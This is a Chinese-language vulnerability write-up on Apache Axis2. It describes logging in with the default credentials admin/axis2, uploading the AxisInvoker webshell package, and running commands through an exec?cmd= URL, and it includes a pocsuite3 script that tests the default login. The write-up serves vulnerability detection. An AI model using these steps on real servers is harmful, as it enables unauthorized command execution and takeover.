1.Axis2简介

Axis2是下一代 Apache Axis。Axis2 虽然由 Axis 1.x 处理程序模型提供支持，但它具有更强的灵活性并可扩展到新的体系结构。Axis2 基于新的体系结构进行了全新编写，而且没有采用 Axis 1.x 的常用代码。支持开发 Axis2 的动力是探寻模块化更强、灵活性更高和更有效的体系结构，这种体系结构可以很容易地插入到其他相关 Web 服务标准和协议（如 WS-Security、WS-ReliableMessaging 等）的实现中。

Apache Axis2 是Axis的后续版本，是新一代的SOAP引擎。

2.漏洞类型

弱口令漏洞+上传arr包Getshell

推荐一个axis2的webshell  https://github.com/CaledoniaProject/AxisInvoker

axis2的webshell：运行ant -v以构建它，您可以在build目录中找到已编译的归档文件build/AxisInvoker.aar

3.漏洞详情

Axis2控制面板界面如下：

后台登录路径：http://ip:port/axis2/axis2-admin/

默认口令为：admin/axis2，登录后截图。

上传.aar包，如图所示：

根据GitHub Readme简介，访问对应URL进行命令执行，从而Getshell。如图所示：

http://ip:port/axis2/services/AxisInvoker/exec?cmd=ipconfig

pocsuite3 poc code

潮声漏洞检测平台已支持此漏洞检测：http://poc.tidesec.com/

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
class DemoPOC(POCBase):
    vulID = 'XXXX'  # ssvid
    version = '1.0'
    author = ['VllTomFord']
    vulDate = '2019-12-13'
    createDate = '2019-12-13'
    updateDate = '2019-12-13'
    references = ['']
    name = 'Axis2弱口令Getshell'
    appPowerLink = ''
    appName = 'Axis2'
    appVersion = 'all'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''Axis2弱口令部署aar包Getshell'''
    samples = []
    install_requires = ['']
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    def _verify(self):
        result = {}
        path = "/axis2/axis2-admin/"
        r = requests.get(url = self.url+path)
        if "Login to Axis2" in r.text:
            loginpath = "/axis2/axis2-admin/login"
        # 字典方式
        data = {
            "userName": "admin",
            "password": "axis2",
            "submit": "+Login+"
        }
        r = requests.post(url=self.url+loginpath, data=data)
        if "Upload Service" in r.text:
            result['FileInfo'] = {}
        return self.parse_output(result)
    def _attack(self):
        return self._verify()
    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
register_poc(DemoPOC)

4.参考链接

https://xz.aliyun.com/t/5832

https://www.ouyangxiaoze.com/2019/12/525.html